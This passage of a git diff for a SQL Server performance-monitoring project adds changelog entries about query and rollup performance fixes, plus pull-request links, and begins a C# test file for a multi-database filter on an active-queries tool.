+- **Query Store backfill no longer re-reads each server's database list every few minutes** ([#5534])
+- **Plan regression day builds read only the days they need, and the Query Store top summary cleanup stops scanning its table** ([#5524])
+- **Azure SQL Database Query Store collection stops reading each database's watermark from the store on every cycle** ([#5527])
+- **Analysis reads the newest file I/O size and perfmon rows without scanning the whole window** ([#5529])
+- **The hourly store self-metrics no longer count every row of the query text and plan tables** ([#5530])
+- **Query Store top, history and trend reads scan a bounded range** ([#5533])
+- **A managed store near a WAL size step no longer rewrites its settings file on every restart** ([#5544])
+- **The start-up check for gaps in the rollups no longer reads a whole chunk of a daily rollup to look for one missing day** ([#5538])
+- **The fleet overview tool and the web Fleet page total PostgreSQL deadlocks faster over multi-day windows** ([#5536])
+- **The module map no longer re-reads two days of procedure stats at every restart** ([#5528])
+- **Custom Views, custom alert rules and alert notebook charts read far fewer rows for a scoped server** ([#5537])
+- **Query Store reads that use the stored interval tables no longer miss an interval that started up to about a day before the table's oldest data** ([#5543])
+- **A quiet server's job history and default trace watermark read touches a week of data, not its whole history** ([#5532])
+- **Small fixes across Lite and the Darling Viewer from the final release walk: Collector Schedules wording, Server Inventory health, time columns, screen-reader names and FinOps dashes** ([#5542])
+- **Lite's Job History tab reads only the selected time range, and tab loads no longer wait on the database from the window** ([#5553])
+- **Darling stops a rollup's refresh jobs before it drops the rollup** ([#5552])
+- **The Darling Viewer's Top Queries, Top Procedures and Query Store tabs load faster over a network** ([#5556])
+- **Two services starting against one PostgreSQL store no longer fail each other's role provisioning** ([#5566])
+- **The Query Store interval purge finishes on a large store** ([#5572])
+- **Running Jobs in Lite and the Viewer, and the get_running_jobs tool, list only jobs the collector's latest successful run found** ([#5554])
+- **Each File I/O chart draws its own ten files, so Read Latency no longer goes blank when logs are busiest** ([#5554])
+- **Lite's own queries no longer top Top Queries by Duration or Query Store by Duration** ([#5554])
+- **The Live Snapshot button and the Get Actual Plan buttons in Lite judge statement text and plans with the screens' statement filter** ([#5554])
+- **Select All in the Databases filter, or ticking every collected database, now means All** ([#5554])
+- **Empty server-tab grids in Lite and the Viewer say why they are empty, and screen readers get names for toolbar combos and plan operators** ([#5554])
+- **The web dashboard's footer time, Job History messages, saved views, offline fleet cards and service log read correctly** ([#5554])
+- **The module map refresh no longer holds back the collectors at service start** ([#5580])
+- **The module map's daily refresh no longer sorts every raw procedure_stats row** ([#5584])
+- **The first Query Store read after a big retention drain is no longer slow** ([#5585])
+- **Web charts draw at the panel's real width** ([#5590])
+- **Autovacuum on the Query Store interval tables can finish again** ([#5593])
+- **The Darling whole-tree guards CI job no longer fails after every test passes** ([#5598])
+- **"Collection Falling Behind" no longer fires in the first hour after every start** ([#5599])
+- **A hung test shard names its test and keeps its logs** ([#5591])
+- **One-day Custom Views panels on Query Store data read an hourly rollup, or are refused up front** ([#5588], [#5610])
+- **Darling's hourly maintenance step over stored analysis findings no longer times out on a large store** ([#5626])
+- **Upgrade refusals no longer list the service's own files** ([#5628])
+- **Darling's deadlock maintenance logs a line when a stage recovers after a failed pass** ([#5637])
+
 ## [3.9.0] - 2026-10-02
 
 Full entries: [docs/changelog/3.9.md](docs/changelog/3.9.md)
@@ -4588,3 +4899,301 @@ Full entries: [docs/changelog/3.0.md](docs/changelog/3.0.md)
 [#4935]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4935
 [#4939]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4939
 [#4941]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4941
+[#4944]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4944
+[#4945]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4945
+[#4946]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4946
+[#4947]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4947
+[#4951]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4951
+[#4952]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4952
+[#4953]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4953
+[#4960]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4960
+[#4963]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4963
+[#4966]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4966
+[#4967]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4967
+[#4968]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4968
+[#4972]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4972
+[#4975]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4975
+[#4976]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4976
+[#4978]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4978
+[#4983]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4983
+[#4984]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4984
+[#4985]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4985
+[#4988]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4988
+[#4989]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4989
+[#4990]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4990
+[#4991]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4991
+[#4993]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4993
+[#4994]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4994
+[#4996]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4996
+[#4997]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4997
+[#4998]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4998
+[#4999]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4999
+[#5000]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5000
+[#5001]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5001
+[#5004]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5004
+[#5006]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5006
+[#5007]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5007
+[#5009]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5009
+[#5010]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5010
+[#5015]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5015
+[#5016]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5016
+[#5018]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5018
+[#5019]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5019
+[#5021]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5021
+[#5022]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5022
+[#5023]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5023
+[#5024]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5024
+[#5025]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5025
+[#5026]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5026
+[#5028]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5028
+[#5029]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5029
+[#5030]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5030
+[#5031]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5031
+[#5032]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5032
+[#5035]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5035
+[#5038]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5038
+[#5040]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5040
+[#5041]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5041
+[#5044]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5044
+[#5045]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5045
+[#5047]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5047
+[#5049]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5049
+[#5052]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5052
+[#5051]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5051
+[#5055]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5055
+[#5056]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5056
+[#5057]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5057
+[#5058]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5058
+[#5059]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5059
+[#5060]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5060
+[#5062]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5062
+[#5064]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5064
+[#5066]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5066
+[#5067]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5067
+[#5074]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5074
+[#5075]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5075
+[#5076]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5076
+[#5078]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5078
+[#5079]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5079
+[#5080]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5080
+[#5083]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5083
+[#5084]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5084
+[#5086]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5086
+[#5087]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5087
+[#5088]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5088
+[#5089]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5089
+[#5090]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5090
+[#5091]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5091
+[#5092]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5092
+[#5093]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5093
+[#5095]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5095
+[#5096]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5096
+[#5099]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5099
+[#5102]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5102
+[#5105]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5105
+[#5107]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5107
+[#5108]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5108
+[#5109]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5109
+[#5110]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5110
+[#5111]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5111
+[#5112]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5112
+[#5113]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5113
+[#5116]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5116
+[#5117]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5117
+[#5118]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5118
+[#5119]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5119
+[#5120]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5120
+[#5121]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5121
+[#5122]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5122
+[#5123]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5123
+[#5127]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5127
+[#5136]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5136
+[#5137]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5137
+[#5138]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5138
+[#5139]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5139
+[#5141]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5141
+[#5144]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5144
+[#5147]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5147
+[#5149]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5149
+[#5150]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5150
+[#5151]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5151
+[#5152]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5152
+[#5154]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5154
+[#5155]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5155
+[#5156]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5156
+[#5159]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5159
+[#5161]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5161
+[#5162]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5162
+[#5163]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5163
+[#5164]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5164
+[#5165]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5165
+[#5166]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5166
+[#5167]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5167
+[#5168]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5168
+[#5169]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5169
+[#5170]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5170
+[#5171]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5171
+[#5172]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5172
+[#5179]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5179
+[#5181]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5181
+[#5183]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5183
+[#5186]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5186
+[#5187]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5187
+[#5188]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5188
+[#5189]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5189
+[#5191]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5191
+[#5193]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5193
+[#5195]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5195
+[#5196]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5196
+[#5197]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5197
+[#5198]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5198
+[#5199]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5199
+[#5201]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5201
+[#5203]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5203
+[#5205]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5205
+[#5209]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5209
+[#5214]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5214
+[#5217]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5217
+[#5218]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5218
+[#5221]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5221
+[#5222]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5222
+[#5250]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5250
+[#5255]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5255
+[#5258]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5258
+[#5259]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5259
+[#5260]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5260
+[#5262]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5262
+[#5263]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5263
+[#5264]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5264
+[#5265]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5265
+[#5268]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5268
+[#5269]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5269
+[#5272]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5272
+[#5273]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5273
+[#5275]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5275
+[#5276]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5276
+[#5278]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5278
+[#5283]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5283
+[#5285]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5285
+[#5286]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5286
+[#5287]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5287
+[#5290]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5290
+[#5294]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5294
+[#5295]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5295
+[#5298]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5298
+[#5299]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5299
+[#5300]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5300
+[#5301]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5301
+[#5303]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5303
+[#5310]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5310
+[#5314]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5314
+[#5322]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5322
+[#5324]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5324
+[#5326]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5326
+[#5327]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5327
+[#5341]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5341
+[#5342]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5342
+[#5356]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5356
+[#5359]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5359
+[#5360]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5360
+[#5361]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5361
+[#5362]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5362
+[#5364]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5364
+[#5367]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5367
+[#5368]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5368
+[#5369]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5369
+[#5372]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5372
+[#5374]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5374
+[#5380]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5380
+[#5383]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5383
+[#5385]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5385
+[#5386]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5386
+[#5387]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5387
+[#5388]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5388
+[#5390]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5390
+[#5392]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5392
+[#5394]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5394
+[#5396]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5396
+[#5398]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5398
+[#5402]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5402
+[#5409]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5409
+[#5410]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5410
+[#5414]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5414
+[#5417]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5417
+[#5427]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5427
+[#5432]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5432
+[#5434]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5434
+[#5438]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5438
+[#5439]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5439
+[#5442]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5442
+[#5443]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5443
+[#5446]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5446
+[#5453]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5453
+[#5454]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5454
+[#5456]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5456
+[#5460]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5460
+[#5461]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5461
+[#5462]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5462
+[#5463]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5463
+[#5464]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5464
+[#5465]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5465
+[#5466]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5466
+[#5467]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5467
+[#5468]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5468
+[#5469]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5469
+[#5470]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5470
+[#5472]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5472
+[#5478]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5478
+[#5481]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5481
+[#5482]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5482
+[#5484]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5484
+[#5486]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5486
+[#5488]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5488
+[#5490]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5490
+[#5492]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5492
+[#5497]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5497
+[#5500]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5500
+[#5501]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5501
+[#5502]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5502
+[#5511]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5511
+[#5524]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5524
+[#5527]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5527
+[#5528]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5528
+[#5529]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5529
+[#5530]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5530
+[#5532]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5532
+[#5533]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5533
+[#5534]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5534
+[#5536]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5536
+[#5537]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5537
+[#5538]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5538
+[#5542]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5542
+[#5543]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5543
+[#5544]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5544
+[#5552]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5552
+[#5553]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5553
+[#5554]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5554
+[#5556]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5556
+[#5564]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5564
+[#5566]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5566
+[#5572]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5572
+[#5570]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5570
+[#5573]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5573
+[#5577]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5577
+[#5579]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5579
+[#5580]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5580
+[#5584]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5584
+[#5585]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5585
+[#5588]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5588
+[#5590]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5590
+[#5591]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5591
+[#5593]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5593
+[#5595]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5595
+[#5598]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5598
+[#5599]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5599
+[#5610]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5610
+[#5626]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5626
+[#5627]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5627
+[#5636]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5636
+[#5637]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5637
+[#5628]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5628
diff --git a/Darling/Darling.Tests/ActiveQueriesDatabaseFilterLiveTests.cs b/Darling/Darling.Tests/ActiveQueriesDatabaseFilterLiveTests.cs
new file mode 100644
index 0000000000..2ab3b756bf
--- /dev/null
+++ b/Darling/Darling.Tests/ActiveQueriesDatabaseFilterLiveTests.cs
@@ -0,0 +1,278 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5245 (part of #5244), lane R2a: get_active_queries reads a SET of databases. The reader and the tool each gain an
+/// internal overload that takes a <see cref="DatabaseFilter"/>; the public method keeps passing one name. This class pins
+/// the overload over a seed of three databases (A, B and C): [A, B] returns only A and B rows, one name behaves as it did,
+/// and every place the tool used the one name says something sensible for a list (the echoed <c>database_name</c>, the
+/// empty-window sentence, <c>blocker_not_shown</c>, and the old trim of the name).
+///
+/// <para>The tool has ONE tier (the base <c>query_snapshots</c> table), so "every tier" is the one statement. Skips
+/// without <c>DARLING_TEST_PG</c>, like its siblings.</para>
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ActiveQueriesDatabaseFilterLiveTests
+{
+    private const string ServerName = "darling-active-queries-dbfilter-e2e";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private const string DbA = "FilterDbA";
+    private const string DbB = "FilterDbB";
+    private const string DbC = "FilterDbC";
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    [Fact]
+    public void ActiveQueriesSql_IsTheListForm_WithNoNameSplicedIn()
+    {
+        var sql = DarlingSessionReader.ActiveQueriesSql;
+        Assert.Contains("($5::text[] IS NULL OR w.database_name = ANY($5))", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("$5::text IS NULL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("{{", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void DescribeActiveQueryFilters_OneName_IsTheSentenceItAlwaysWas_ManyNamesSayTheChosenDatabases()
+    {
+        Assert.Equal("blocking_only", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.All, true));
+        Assert.Equal("database_name 'X'", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.One("X"), false));
+        Assert.Equal("database_name 'X' with blocking_only", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.One("X"), true));
+        Assert.Equal("the chosen databases", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.Of(["X", "Y"]), false));
+        Assert.Equal("the chosen databases with blocking_only", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.Of(["X", "Y"]), true));
+        /* #5235: the wait_type clause comes last, and the order and wording match what Lite says. */
+        Assert.Equal("wait_type 'LCK_M_S'", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.All, false, "LCK_M_S"));
+        Assert.Equal("database_name 'X' with blocking_only with wait_type 'LCK_M_S'", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.One("X"), true, "LCK_M_S"));
+        Assert.Equal("the chosen databases with wait_type 'LCK_M_S'", DarlingMcpSessionTools.DescribeActiveQueryFilters(DatabaseFilter.Of(["X", "Y"]), false, "LCK_M_S"));
+    }
+
+    [Fact]
